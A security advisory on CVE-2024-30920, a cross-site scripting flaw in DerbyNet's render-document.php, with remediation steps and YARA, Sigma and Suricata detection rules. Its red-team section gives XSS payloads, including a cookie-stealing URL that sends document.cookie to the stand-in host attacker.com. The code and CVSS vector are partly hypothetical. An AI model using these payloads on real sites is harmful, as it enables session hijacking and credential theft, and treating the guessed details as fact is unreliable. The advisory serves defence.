CVE-2024-30920

Executive Summary

CVE-2024-30920 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the render-document.php component, allowing a remote attacker to inject arbitrary web scripts or HTML. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known but remains unpatched, posing a significant risk to all deployments of DerbyNet.

Supply Chain & Package Security

DerbyNet is a PHP-based application. While not distributed via NPM, PyPI, Go, or Ruby registries, its dependencies (e.g., PHP libraries, JavaScript frameworks) may introduce additional risks. Organizations should audit all third-party components used in their DerbyNet installations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): Required (likely)
• Scope (S): Changed (likely)
• Confidentiality (C): Low (likely)
• Integrity (I): Low (likely)
• Availability (A): None (likely)

Threat Level: High (due to public PoC and lack of patch)

Deep Dive & Mechanics

The vulnerability is a classic stored/reflected XSS in the render-document.php script. The application fails to sanitize user-supplied input before rendering it in the document output. An attacker can craft a malicious URL or submit data containing JavaScript code. When a victim accesses the crafted URL or views the malicious document, the script executes in the victim's browser context.

Root Cause: Lack of input validation and output encoding in render-document.php.

Attack Vector: Remote, unauthenticated.

Impact: Session hijacking, phishing, defacement, malware delivery.

Vulnerable vs. Patched Code

Vulnerable Code (DerbyNet <= 9.0):

<?php
// render-document.php
$document_id = $_GET['id'];
$document_content = get_document_content($document_id);
echo $document_content; // Direct output without sanitization
?>

Patched Code (Hypothetical):

<?php
// render-document.php
$document_id = $_GET['id'];
$document_content = get_document_content($document_id);
echo htmlspecialchars($document_content, ENT_QUOTES, 'UTF-8'); // Proper encoding
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• DerbyNet v9.0 or below running on a local or remote server.
• A web browser with developer tools.

Exploit Steps:

1. Identify a vulnerable endpoint: http://target/render-document.php?id=1
2. Inject a malicious payload via the id parameter or document content:

   http://target/render-document.php?id=<script>alert('XSS')</script>
   

3. If the application reflects the input without sanitization, the script executes.

Example Payload (Session Hijacking):

http://target/render-document.php?id=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor web server logs for unusual render-document.php requests containing <script> tags or encoded JavaScript.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search for render-document.php in access logs with parameters containing %3Cscript%3E or similar encodings.
• Check for unexpected outbound connections from clients accessing DerbyNet.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /render-document.php with parameters containing <script>, onerror, onload, or JavaScript event handlers.
  • Outbound connections to known malicious domains from clients accessing DerbyNet.
• Host:
  • Modified render-document.php file (if attacker gained write access).
  • Suspicious entries in web server logs (e.g., GET /render-document.php?id=<script>alert(1)</script>).
• File:
  • Presence of unexpected JavaScript files in the web root.

Detection Engineering

YARA Rule

rule CVE_2024_30920_XSS_DerbyNet {
    meta:
        description = "Detects XSS attempts against DerbyNet render-document.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30920"
    strings:
        $xss_pattern1 = /render-document\.php.*(<script|<img|<svg|onerror|onload)/i
        $xss_pattern2 = /render-document\.php.*(%3Cscript|%3Cimg|%3Csvg|onerror|onload)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-30920 XSS Attempt Against DerbyNet
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting render-document.php in DerbyNet
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'render-document.php'
        cs-uri-query|re: '(?i)(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in document content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30920 XSS Attempt Against DerbyNet"; flow:to_server,established; content:"render-document.php"; http_uri; pcre:"/(?i)(<script|<img|<svg|onerror|onload)/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the render-document.php endpoint if not essential.
2. Implement a Web Application Firewall (WAF) with rules to block XSS patterns.
3. Restrict access to DerbyNet via VPN or IP whitelisting.

Long-term Fix:

• Apply input validation and output encoding in render-document.php.
• Upgrade to a patched version once available (currently none).
• Conduct a full security audit of the DerbyNet codebase.

Workaround:

• Use .htaccess to deny access to render-document.php:

  <Files "render-document.php">
      Order Allow,Deny
      Deny from all
  </Files>
  

Valters IT
Securing Digital Frontiers